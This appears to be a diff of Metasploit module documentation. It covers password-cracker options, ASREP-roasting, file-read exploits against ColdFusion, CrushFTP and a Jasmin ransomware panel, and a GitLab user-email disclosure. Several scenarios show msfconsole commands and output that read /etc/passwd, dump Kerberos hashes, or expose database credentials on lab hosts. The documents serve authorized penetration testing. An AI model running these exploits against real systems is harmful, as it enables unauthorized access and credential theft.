**USE_DB_INFO**
|
||||
### SHOWCOMMAND
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
### USE_CREDS
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
### USE_DB_INFO
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
### USE_DEFAULT_WORDLIST
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**WORDLIST**
|
||||
### USE_HOSTNAMES
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
### USE_ROOT_WORDS
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is `true`.
|
||||
|
||||
### WORDLIST
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
@@ -141,6 +160,11 @@ creds add user:lm_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb11
|
||||
creds add user:lm2_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
|
||||
creds add user:lm2_pot_password ntlm:e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
|
||||
creds add user:nt_password ntlm:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c jtr:nt
|
||||
creds add user:u4-netntlm hash:u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c jtr:netntlm
|
||||
creds add user:admin hash:admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 jtr:netntlmv2
|
||||
creds add user:mscash-hashcat hash:M$test1#64cd29e36a8431a2b111378564a10631 jtr:mscash
|
||||
creds add user:mscash2-hashcat hash:$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f jtr:mscash2
|
||||
|
||||
echo "" > /root/.msf4/john.pot
|
||||
echo "\$LM\$E52CAC67419FAFE2:passwor" >> /root/.msf4/john.pot
|
||||
echo "\$LM\$FAFE108F3FA6CB6D:d" >> /root/.msf4/john.pot
|
||||
|
||||
@@ -4,7 +4,7 @@ Provided AWS credentials, this module will call the authenticated API of Amazon
|
||||
instances accessible to the account. Once enumerated as SSM-enabled, the instances can be controlled using out-of-band
|
||||
WebSocket sessions provided by the AWS API (nominally, privileged out of the box). This module provides not only the API
|
||||
enumeration identifying EC2 instances accessible via SSM with given credentials, but enables session initiation for all
|
||||
identified targets (without requiring target-level credentials) using the CreateSession mixin option. The module also
|
||||
identified targets (without requiring target-level credentials) using the CreateSession datastore option. The module also
|
||||
provides an EC2 ID filter and a limiting throttle to prevent session stampedes or expensive messes.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -26,7 +26,7 @@ Security bulletin from Squid: https://github.com/squid-cache/squid/security/advi
|
||||
|
||||
### REQUEST_COUNT
|
||||
|
||||
REQUEST_COUNT is both the the number of HTTP requests which are sent to the server in
|
||||
REQUEST_COUNT is both the number of HTTP requests which are sent to the server in
|
||||
order to perform the actual Denial of Service (i.e. accepted requests by the server),
|
||||
and the number of requests that are sent to confirm that the Squid host is actually
|
||||
dead.
|
||||
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
## ASREP-roast
|
||||
|
||||
The `auxiliary/gather/asrep` module can be used to find users who have Pre-authentication disabled,
|
||||
and retrieve credentials that can be cracked using a hash-cracking tool.
|
||||
|
||||
The following ACTIONS are supported:
|
||||
|
||||
- **BRUTE_FORCE**: Make TGT requests for all usernames in a given file. This does not require
|
||||
valid domain credentials.
|
||||
- **LDAP**: Request the set of users with pre-authentication disabled using an LDAP query, and
|
||||
then request TGTs for these users.
|
||||
|
||||
## Module usage
|
||||
|
||||
- Start `msfconsole`
|
||||
- Do: `use auxiliary/gather/asrep`
|
||||
- Do: `run action=BRUTE_FORCE user_file=<file> rhost=<IP> domain=<FQDN> rhostname=<hostname>`
|
||||
- The module will attempt to request TGTs for each of the users in the file. This should not lock out accounts.
|
||||
A crackable value will be displayed for all identified accounts.
|
||||
- Do: `run action=LDAP rhost=<IP> username=<LDAP_User> password=<LDAP_Password> domain=<FQDN> rhostname=<hostname>`
|
||||
- The module will use LDAP to request the users without pre-auth required, and request TGTs for these users.
|
||||
A crackable value will be displayed for all identified accounts.
|
||||
|
||||
## Options
|
||||
|
||||
### DOMAIN
|
||||
The Fully Qualified Domain Name (FQDN). Ex: mydomain.local.
|
||||
|
||||
### USER_FILE
|
||||
The file containing a list of usernames, each on a new line.
|
||||
|
||||
### Rhostname
|
||||
|
||||
The hostname of the domain controller. Must be accurate otherwise the module will silently fail, even if users exist without pre-auth required.
|
||||
|
||||
### USE_RC4_HMAC
|
||||
Request a ticket with the lower-security, more easily crackable, RC4_HMAC encryption type. This is
|
||||
usually preferable, but may be less stealthy.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Brute forcing users
|
||||
|
||||
An example of brute forcing usernames, in the hope of finding one with pre-auth not required:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(gather/asrep) > run action=BRUTE_FORCE user_file=/tmp/users.txt rhost=192.168.1.1 domain=msf.local rhostname=dc22
|
||||
[*] Running module against 192.168.1.1
|
||||
|
||||
$krb5asrep$23$user@MSF.LOCAL:9fb9954fa32193185ab32e2de2ab9f13$bf14e834c661246cad302073c228e6ff7894cd3023665f0f84338432c3929922ae998c4a23bb9d163dda536a230d0503b2cf575389317b52bde782264940e80206a29e9613e47328228441cf013fb1f6672359f6799be97b962de9429e8859f437e53549be6b11ca07af6f09eae6cd78279af6d7f6dcdfd011eccb74b4aa753b2f9e6561c59c9408ee4bec983777908f3a7eef5fba977710e47e4e8ac0af10608a7dd23db506202b27d7892bc28426d2080c343edfe243bf1cae554cf6204733082332be2455e4674e1c3e84614818a6c15b54221dcaa832
|
||||
|
||||
[*] Query returned 1 result.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Using LDAP
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/asrep) > run action=LDAP rhost=192.168.1.1 username=azureadmin password=password ldap::auth=kerberos domain=msf.local domaincontrollerrhost=192.168.1.1 rhostname=dc22
|
||||
[*] Running module against 192.168.1.1
|
||||
|
||||
[+] 192.168.1.1:88 - Received a valid TGT-Response
|
||||
[*] 192.168.1.1:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20231124083018_default_192.168.1.1_mit.kerberos.cca_409871.bin
|
||||
[+] 192.168.1.1:88 - Received a valid TGS-Response
|
||||
[*] 192.168.1.1:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20231124083018_default_192.168.1.1_mit.kerberos.cca_923760.bin
|
||||
[+] 192.168.1.1:88 - Received a valid delegation TGS-Response
|
||||
[+] 192.168.1.1:389 Discovered base DN: DC=msf,DC=local
|
||||
[+] 192.168.1.1:389 Discovered schema DN: DC=msf,DC=local
|
||||
|
||||
$krb5asrep$23$user@MSF.LOCAL:234e56b15bf3a0e3eb93d662ea6ded74$9889b0a449154c1353ea4db388af29381ad367771e2fe7d6a5644180e9f7ca0b1e836fc864f6d240e9ef91124edb13797dcb097f68c537279f80e3fc3c5c86f8f937af23bb2fd58274dd40ea184994cf31de50f508faac86c61749032b2d9e4ae4c74b0f76a0c242497e6765ddfba9c57743b19d4bb97aa3ef3b66cee50a1d3871b0b4ecd3f97d42781b6fb3d8839d8805ae1291d0e9ba07d374ed84ea39fadab548c2b40c87288b4465f234d0c3341e3b27c193a62a3ad7b0bdf04dbe5bf03815d48f766d1c727838f92dd36c437782975a978aefcb33e9
|
||||
|
||||
[*] Query returned 1 result.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,59 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an Improper Access Vulnerability in Adobe Coldfusion versions prior to version
|
||||
'2023 Update 6' and '2021 Update 12'. The vulnerability allows unauthenticated attackers to request authentication
|
||||
token in the form of a UUID from the /CFIDE/adminapi/_servermanager/servermanager.cfc endpoint. Using that
|
||||
UUID attackers can hit the /pms endpoint in order to exploit the Arbitrary File Read Vulnerability.
|
||||
|
||||
### Setup
|
||||
|
||||
#TODO: Find out how to setup a vulnerable target and put those details here.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use coldfusion_pms_servlet_file_read`
|
||||
1. Set the `RHOST` and datastore option
|
||||
1. If the target host is running Windows, change the default `FILE_PATH` datastore options from `/tmp/passwd` to a file path that exists on Windows.
|
||||
1. Run the module
|
||||
1. Receive the contents of the `FILE_PATH` file
|
||||
|
||||
## Scenarios
|
||||
### ColdFusion Version 2023.0.0.330468 running on Linux
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/coldfusion_pms_servlet_file_read) > run
|
||||
[*] Reloading module...
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Attempting to retrieve UUID ...
|
||||
[+] UUID found: 1c49c29a-f1c0-4ed0-9f9e-215f434c8a12
|
||||
[*] Attempting to exploit directory traversal to read /etc/passwd
|
||||
[+] File content:
|
||||
n00tmeg:x:1000:1000:n00tmeg,,,:/home/n00tmeg:/bin/bash
|
||||
hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false
|
||||
pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
|
||||
colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
|
||||
nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
|
||||
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
|
||||
whoopsie:x:117:124::/nonexistent:/bin/false
|
||||
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
|
||||
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
|
||||
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
|
||||
tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin
|
||||
uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin
|
||||
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
|
||||
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
|
||||
[+] Results saved to: /Users/jheysel/.msf4/loot/20240403192500_default_127.0.0.1_coldfusion.file_475871.txt
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,81 @@
|
||||
## Vulnerable Application
|
||||
This module leverages an unauthenticated server-side template injection vulnerability in CrushFTP < 10.7.1 and
|
||||
< 11.1.0 (as well as legacy 9.x versions). Attackers can submit template injection payloads to the web API without
|
||||
authentication. When attacker payloads are reflected in the server's responses, the payloads are evaluated. The
|
||||
primary impact of the injection is arbitrary file read as root, which can result in authentication bypass, remote
|
||||
code execution, and NetNTLMv2 theft (when the host OS is Windows and SMB egress traffic is permitted).
|
||||
More information can be found in the [Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis).
|
||||
|
||||
## Options
|
||||
|
||||
### INJECTINTO
|
||||
The unauthenticated API function to use for template injection (default: zip).
|
||||
|
||||
### STORE_LOOT
|
||||
Whether the read file's contents should be outputted to the console or stored as loot (default: false).
|
||||
|
||||
### TARGETFILE
|
||||
The target file to read (default: users/MainUsers/groups.XML). This can be a full path, a relative path, or a network share path (if
|
||||
firewalls permit). Files containing binary data may not be read accurately. Though file paths for Windows targets can contain `:`
|
||||
characters, like `C:\Windows\win.ini`, this will result in payloads not being fully redacted from CrushFTP logs.
|
||||
|
||||
## Testing
|
||||
To set up a test environment:
|
||||
1. Download an affected version of CrushFTP [here](https://github.com/the-emmons/CVE-2023-43177/releases/download/crushftp_software/CrushFTP10.zip) (SHA256: adc3619937ebb57b3a95c50f78fda5c388d072c0d34a317b9ed64a31127a6d3f).
|
||||
2. Configure `CRUSH_DIR` in `crushftp_init.sh` to point to the correct install directory.
|
||||
3. Execute `java -jar CrushFTP.jar` to show a local client GUI interface that can be used to set up an admin account.
|
||||
4. Execute `sudo crushftp_init.sh start` to launch the software on Linux or Mac. If on Windows, run `CrushFTP.exe` as an administrator.
|
||||
5. Follow the verification steps below.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use auxiliary/gather/crushftp_fileread_cve_2024_4040`
|
||||
3. `set RHOSTS <TARGET_IP_ADDRESS>`
|
||||
4. `set RPORT <TARGET_PORT>`
|
||||
5. `set TARGETFILE <TARGET_FILE_TO_READ>`
|
||||
6. `set STORE_LOOT false` if you want to display file on the console instead of storing it as loot.
|
||||
7. `run`
|
||||
|
||||
## Scenarios
|
||||
### CrushFTP on Windows, Linux, or Mac
|
||||
```
|
||||
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > show options
|
||||
|
||||
Module options (auxiliary/gather/crushftp_fileread_cve_2024_4040):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
INJECTINTO zip yes The CrushFTP API function to inject into (Accepted: zip, exists)
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
|
||||
loit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
STORE_LOOT false yes Store the target file as loot
|
||||
TARGETFILE users/MainUsers/groups.XML yes The target file to read. This can be a full path, a relative path, or a network share path (i
|
||||
f firewalls permit). Files containing binary data may not be read accurately
|
||||
TARGETURI / yes The URI path to CrushFTP
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > check
|
||||
[+] 127.0.0.1:8080 - The target is vulnerable. Server-side template injection successful!
|
||||
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Server-side template injection successful!
|
||||
[*] Fetching anonymous session cookie...
|
||||
[*] Using template injection to read file: users/MainUsers/groups.XML
|
||||
[+] File read succeeded!
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<groups type="properties"></groups>
|
||||
|
||||
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -7,7 +7,7 @@ in the cluster, indices, and pull data from those indices.
|
||||
### Docker
|
||||
|
||||
Docker install is quite simple, however it won't come with any data making the results rather boring.
|
||||
However, we can use the the [oliver006/elasticsearch-test-data](https://github.com/oliver006/elasticsearch-test-data)
|
||||
However, we can use the [oliver006/elasticsearch-test-data](https://github.com/oliver006/elasticsearch-test-data)
|
||||
repo to help auto populate our data.
|
||||
|
||||
```
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Information disclosure affecting all versions of GitLab
|
||||
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1
|
||||
by sending a GET request to the project URI and appending "-/tags"
|
||||
|
||||
### Docker installation instructions can be found here:
|
||||
|
||||
https://docs.gitlab.com/ee/install/docker.html
|
||||
|
||||
Once installed, create a project. Once the project is
|
||||
created, add a new tag by expanding the Code menu item
|
||||
on the left, then selecting Tags. Then click on the
|
||||
New Tag button in the top right corner.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use [module path]`
|
||||
1. Do: `set RHOSTS [IP]`
|
||||
1. Do: `run`
|
||||
1. You should receive output with user names and email addresses assocaited with project tags
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETPROJECT
|
||||
|
||||
This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. IF you know the specific project you would
|
||||
like to target, you would need to set that here.
|
||||
|
||||
## Scenarios
|
||||
### Scrape all Workspaces/Projects
|
||||
```
|
||||
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[+] [2024.02.09-11:18:23] Scraping ALL projects...
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project1
|
||||
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__010524.xml
|
||||
[+] [2024.02.09-11:18:23] name: john doe
|
||||
[+] [2024.02.09-11:18:23] e-mail: johndoe@example.com
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project2
|
||||
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__822263.xml
|
||||
[+] [2024.02.09-11:18:23] name: janedoe
|
||||
[+] [2024.02.09-11:18:23] e-mail: janedoe@example.com
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws2/proj1
|
||||
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj1
|
||||
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj2
|
||||
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
### Specify Project
|
||||
```
|
||||
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set TARGETPROJECT Workspace1/Project1
|
||||
TARGETPROJECT => Workspace1/Project1
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] [2024.02.09-11:44:43] Check RSS tags feed for: Workspace1/Project1
|
||||
[+] [2024.02.09-11:44:43] Output saved to /root/.msf4/loot/20240209114443_default_127.0.0.1_gitlab.RSS.info__390983.xml
|
||||
[+] [2024.02.09-11:44:43] name: janedoe
|
||||
[+] [2024.02.09-11:44:43] e-mail: janedoe@example.com
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,139 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The Jasmin Ransomware web server contains an unauthenticated directory traversal vulnerability
|
||||
within the download functionality. As of April 15, 2024 this was still unpatched, so all
|
||||
versions are vulnerable. The last patch was in 2021, so it will likely not ever be patched.
|
||||
|
||||
### Install
|
||||
|
||||
create a LAMP server (using php 8.2 worked for me, 7.2 did not).
|
||||
Run the following commands:
|
||||
|
||||
```
|
||||
git clone https://github.com/codesiddhant/Jasmin-Ransomware.git
|
||||
cd Jasmin-Ransomware
|
||||
sudo cp -r Web\ Panel/* /var/www/html/
|
||||
sudo chown www-data:www-data /var/www/html/*
|
||||
sudo mysql -p
|
||||
```
|
||||
|
||||
Execute the following SQL commands:
|
||||
|
||||
```
|
||||
CREATE DATABASE jasmin_db;
|
||||
CREATE USER 'jasminadmin'@'localhost' IDENTIFIED BY '123456';
|
||||
GRANT ALL PRIVILEGES ON jasmin_db.* TO 'jasminadmin'@'localhost';
|
||||
Exit
|
||||
```
|
||||
|
||||
Now setup the database:
|
||||
`sudo mysql -u jasminadmin -p123456 jasmin_db < Web\ Panel/database/jasmin_db.sql`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/jasmin_ransomware_dir_traversal`
|
||||
1. Do: `set rhosts [ip]`
|
||||
1. Do: `run`
|
||||
1. You should get the content of a file if it exists.
|
||||
|
||||
## Options
|
||||
|
||||
### FILE
|
||||
|
||||
File to retrieve. `etc/passwd` is the default, but
|
||||
`var/www/html/database/db_conection.php` contains the
|
||||
database credentials.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Jasmin installed on Ubuntu 22.04
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/jasmin_ransomware_dir_traversal
|
||||
msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > set verbose true
|
||||
verbose => true
|
||||
msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > rexploit
|
||||
[*] Reloading module...
|
||||
|
||||
[+] root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
|
||||
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
|
||||
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
|
||||
pollinate:x:105:1::/var/cache/pollinate:/bin/false
|
||||
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
|
||||
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
|
||||
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
|
||||
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
|
||||
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
|
||||
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
|
||||
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
|
||||
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
|
||||
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
|
||||
arangodb:x:998:999:ArangoDB Application User:/usr/share/arangodb3:/bin/false
|
||||
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
|
||||
postgres:x:115:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
|
||||
dovecot:x:116:122:Dovecot mail server,,,:/usr/lib/dovecot:/usr/sbin/nologin
|
||||
dovenull:x:117:123:Dovecot login user,,,:/nonexistent:/usr/sbin/nologin
|
||||
rtkit:x:118:124:RealtimeKit,,,:/proc:/usr/sbin/nologin
|
||||
kernoops:x:119:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
|
||||
cups-pk-helper:x:120:125:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
|
||||
systemd-oom:x:121:128:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
|
||||
whoopsie:x:122:129::/nonexistent:/bin/false
|
||||
geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin
|
||||
avahi-autoipd:x:124:131:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
|
||||
avahi:x:125:132:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
|
||||
nm-openvpn:x:126:133:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
|
||||
saned:x:127:135::/var/lib/saned:/usr/sbin/nologin
|
||||
colord:x:129:136:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
|
||||
sssd:x:130:137:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
|
||||
pulse:x:131:138:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
|
||||
speech-dispatcher:x:132:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
|
||||
gnome-initial-setup:x:133:65534::/run/gnome-initial-setup/:/bin/false
|
||||
gdm:x:134:140:Gnome Display Manager:/var/lib/gdm3:/bin/false
|
||||
mysql:x:136:143:MySQL Server,,,:/nonexistent:/bin/false
|
||||
|
||||
[+] Saved file to: /root/.msf4/loot/20240415125844_default_127.0.0.1_jasmin.webpanel._670418.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > set FILE var/www/html/data
|
||||
base/db_conection.php
|
||||
FILE => var/www/html/database/db_conection.php
|
||||
msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > rexploit
|
||||
[*] Reloading module...
|
||||
|
||||
[+] <?php
|
||||
$dbcon=mysqli_connect("localhost","jasminadmin","123456");
|
||||
|
||||
mysqli_select_db($dbcon,"jasmin_db");
|
||||
|
||||
?>
|
||||
|
||||
[+] Saved file to: /root/.msf4/loot/20240415125905_default_127.0.0.1_jasmin.webpanel._177654.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The Jasmin Ransomware web server contains an unauthenticated SQL injection vulnerability
|
||||
within the login functionality. As of April 15, 2024 this was still unpatched, so all
|
||||
versions are vulnerable. The last patch was in 2021, so it will likely not ever be patched.
|
||||
|
||||
Retrieving the victim's data may take a long amount of time. It is much quicker to
|
||||
get the logins, then just login to the site.
|
||||
|
||||
### Install
|
||||
|
||||
create a LAMP server (using php 8.2 worked for me, 7.2 did not).
|
||||
Run the following commands:
|
||||
|
||||
```
|
||||
git clone https://github.com/codesiddhant/Jasmin-Ransomware.git
|
||||
cd Jasmin-Ransomware
|
||||
sudo cp -r Web\ Panel/* /var/www/html/
|
||||
sudo chown www-data:www-data /var/www/html/*
|
||||
sudo mysql -p
|
||||
```
|
||||
|
||||
Execute the following SQL commands:
|
||||
|
||||
```
|
||||
CREATE DATABASE jasmin_db;
|
||||
CREATE USER 'jasminadmin'@'localhost' IDENTIFIED BY '123456';
|
||||
GRANT ALL PRIVILEGES ON jasmin_db.* TO 'jasminadmin'@'localhost';
|
||||
Exit
|
||||
```
|
||||
|
||||
Now setup the database:
|
||||
`sudo mysql -u jasminadmin -p123456 jasmin_db < Web\ Panel/database/jasmin_db.sql`
|
||||
|
